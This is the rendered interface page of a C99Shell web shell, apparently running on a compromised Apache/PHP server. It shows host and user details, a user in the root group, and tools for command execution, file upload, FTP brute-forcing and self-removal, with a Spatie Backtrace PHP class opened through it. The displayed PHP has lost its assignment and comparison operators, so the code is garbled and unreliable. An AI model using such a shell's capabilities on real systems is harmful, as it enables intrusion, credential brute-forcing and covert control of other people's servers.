!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/portfolio.picotech.app/public_html/vendor/spatie/backtrace/src/CodeSnippets/   drwxr-xr-x
Free 29.15 GB of 117.98 GB (24.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LaravelSerializableClosureSnippetProvider.php (1.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Backtrace\CodeSnippets;

class 
LaravelSerializableClosureSnippetProvider implements SnippetProvider
{
    
/** @var array<string> */
    
protected $lines;

    
/** @var int */
    
protected $counter 0;

    public function 
__construct(string $snippet)
    {
        
$this->lines preg_split("/\r\n|\n|\r/"$snippet);

        
$this->cleanupLines();
    }

    public function 
numberOfLines(): int
    
{
        return 
count($this->lines);
    }

    public function 
getLine(int $lineNumber null): string
    
{
        if (
is_null($lineNumber)) {
            return 
$this->getNextLine();
        }

        
$this->counter $lineNumber 1;

        return 
$this->lines[$lineNumber 1];
    }

    public function 
getNextLine(): string
    
{
        
$this->counter++;

        if (
$this->counter >= count($this->lines)) {
            return 
'';
        }

        return 
$this->lines[$this->counter];
    }

    protected function 
cleanupLines(): void
    
{
        
$spacesOrTabsToRemove PHP_INT_MAX;

        for (
$i 1$i count($this->lines); $i++) {
            if (empty(
$this->lines[$i])) {
                continue;
            }

            
$spacesOrTabsToRemove min(strspn($this->lines[$i], " \t"), $spacesOrTabsToRemove);
        }

        if (
$spacesOrTabsToRemove === PHP_INT_MAX) {
            
$spacesOrTabsToRemove 0;
        }

        for (
$i 1$i count($this->lines); $i++) {
            
$this->lines[$i] = substr($this->lines[$i], $spacesOrTabsToRemove);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--